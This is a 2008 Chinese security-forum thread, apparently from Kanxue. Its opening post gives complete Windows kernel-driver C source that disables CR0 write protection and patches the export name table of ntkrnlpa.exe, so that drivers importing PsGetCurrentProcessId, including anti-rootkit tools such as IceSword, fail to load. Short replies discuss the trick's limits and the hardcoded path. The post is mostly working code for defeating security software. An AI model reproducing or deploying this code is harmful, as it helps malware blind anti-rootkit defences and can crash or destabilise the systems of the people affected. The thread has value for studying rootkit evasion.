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[原创]利用导出表来禁止一些驱动程序的加载
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发表于: 2008-4-5 00:28
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今天再弄导出表时,发现修改,发现修改ntkrnlpa.exe导入表里AdressOfNames指向的的数组里面的函数名可以达到禁止一些驱动程序加载的目的,比如把PsGetCurrentProcessId改成其他名字,这样一些驱动程序如果想调用这个函数就不成功了,这样驱动程序就加载失败...试了几个anti-rootkit,冰刃等都不能正常运行,,,,呵呵
代码如下
#include "ntddk.h"
#include "hookiat.h"
#pragma comment(lib,"ntdll.lib")
PVOID GetDriverBaseAdress(char* driverName)
{
ULONG size,index;
PULONG buf;
NTSTATUS status;
PSYSTEM_MODULE_INFORMATION module;
PVOID driverAddress=0;
ZwQuerySystemInformation(SystemModuleInformation,&size, 0, &size);
if(NULL==(buf = (PULONG)ExAllocatePool(PagedPool, size)))
{
DbgPrint("failed alloc memory failed \n");
return 0;
}
status=ZwQuerySystemInformation(SystemModuleInformation,buf, size , 0);
if(!NT_SUCCESS( status ))
{
DbgPrint("failed query\n");
return 0;
}
module = (PSYSTEM_MODULE_INFORMATION)(( PULONG )buf + 1);
for (index = 0; index < *buf; index++)
if (_stricmp(module[index].ImageName + module[index].ModuleNameOffset, driverName) == 0)
{
driverAddress = module[index].Base;
DbgPrint("Module found at:%x\n",driverAddress);
}
ExFreePool(buf);
return driverAddress;
}
PVOID CreateMapFileAndReturnBaseAddress(PUNICODE_STRING pDriverName)
{
HANDLE hFile;
HANDLE hSection;
char *pszModName;
PVOID MapFileBaseAddress = NULL;
SIZE_T size=0;
IO_STATUS_BLOCK stataus;
OBJECT_ATTRIBUTES oa ;
InitializeObjectAttributes(
&oa,
pDriverName,
OBJ_CASE_INSENSITIVE,
0,
0
);
ZwOpenFile(&hFile,
FILE_EXECUTE | SYNCHRONIZE,
&oa,
&stataus,
FILE_SHARE_READ,
FILE_SYNCHRONOUS_IO_NONALERT);
oa.ObjectName = 0;
ZwCreateSection(&hSection,
SECTION_ALL_ACCESS,
&oa,
0,
PAGE_EXECUTE,
SEC_IMAGE,
hFile);
ZwMapViewOfSection(hSection,
PsGetCurrentProcessId(),
&MapFileBaseAddress,
0,
1024,
0,
&size,
ViewShare,
MEM_TOP_DOWN,
PAGE_READWRITE);
ZwClose(hFile);
DbgPrint("baseadress:%x\n",MapFileBaseAddress);
return MapFileBaseAddress;
}
DWORD GetpAddressOfNames(IN PCSTR funName)
{
HANDLE hMod;
PVOID BaseAddress = NULL;
IMAGE_DOS_HEADER * dosheader;
IMAGE_OPTIONAL_HEADER * opthdr;
PIMAGE_EXPORT_DIRECTORY exports;
ULONG addr, i , index ;
PVOID FuncNameRVA;
PUCHAR pFuncName = NULL;
PULONG pAddressOfFunctions,pAddressOfNames,pAddressOfNameOrdinals;
UNICODE_STRING driverName;
RtlInitUnicodeString(&driverName, L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");
BaseAddress= CreateMapFileAndReturnBaseAddress(&driverName);
DbgPrint("Map BaseAddress is:%x\n",BaseAddress);
hMod = BaseAddress;
//定位IMAGE_EXport_DESCRIPTOR pDataEntryAddress是导出表的RAV
dosheader = (IMAGE_DOS_HEADER *)hMod;
opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+24);
exports = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)dosheader+ opthdr->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
pAddressOfFunctions=(ULONG*)((BYTE*)hMod+exports->AddressOfFunctions);
pAddressOfNames=(ULONG*)((BYTE*)hMod+exports->AddressOfNames); //指向的函数名称地址表的第一项
pAddressOfNameOrdinals=(ULONG*)((BYTE*)hMod+exports->AddressOfNameOrdinals); //指向函数名序号表的RVA
//下面的先别加,编译一下,输出了1483,也就是导出了1483个函数,用Dependency walker查看,也是这个数,那说明我们前面的工作没问题
DbgPrint("%\n",exports->NumberOfNames);
for (i = 0; i < exports->NumberOfNames; i++)
{
pFuncName = (PUCHAR)( (BYTE*)hMod + pAddressOfNames[i]);
if (_stricmp( (char*)pFuncName,funName) == 0)
{
DbgPrint("%s is found !!\n",pFuncName);
break;
}
}
return pAddressOfNames[i];
}
NTSTATUS
MyPsGetCurrentProcessId()
{
DbgPrint("HOOK_PsGetCurrentProcessId called!\n");
}
VOID Unload(PDRIVER_OBJECT DriverObject)
{
DbgPrint("Unload Callled\n");
}
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING str)
{
ULONG FuncRav;
DWORD base = NULL;
PCSTR myfunName= "PsGetCurrentProcessId";
base = GetDriverBaseAdress("ntkrnlpa.exe");
if(NULL==base)
{
DbgPrint("base not found");
return STATUS_SUCCESS;
}
DbgPrint("ntoskrnl.exe is found at:%x\n",base);
FuncRav=GetpAddressOfNames(myfunName);
DbgPrint("pAddressOfNames[i] is :%x\n",FuncRav);
_asm
{
CLI
MOV EAX, CR0
AND EAX, NOT 10000H
MOV CR0, EAX
}
*(PVOID*) ( base + FuncRav ) = MyPsGetCurrentProcessId;
DbgPrint("HOOK SUCESS");
_asm
{
MOV EAX, CR0
OR EAX, 10000H
MOV CR0, EAX
STI
}
DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}
效果是这样::::
[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入！
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L"\\Device\\HarddiskVolume1\\Windows\\System32\\ntkrnlpa.exe");
硬编码啊硬编码啊. 很古老的思路哦~~~ V大说的在系统初始化的时候改下内核模块的名字，一大堆ARK就启动不了啦，原理都是让ARK们在寻找内核的时候出错，或者寻找内核中导出的变量时出错.  不过部分ARK不是调用MmGetSystemRoutineAddress，而是自己加载内核文件，分析重定位后得到正确的函数（变量）地址.这样你的方法就不起作用咯，呵呵呵呵呵呵呵呵呵呵呵呵~~~~ |
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我学这东西比较晚,,,什么对我来说都是新鲜的....
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sudami 说的是对的....如果是单核的应该是ntoskrnl.exe
大家就是讨论学习嘛嘛 
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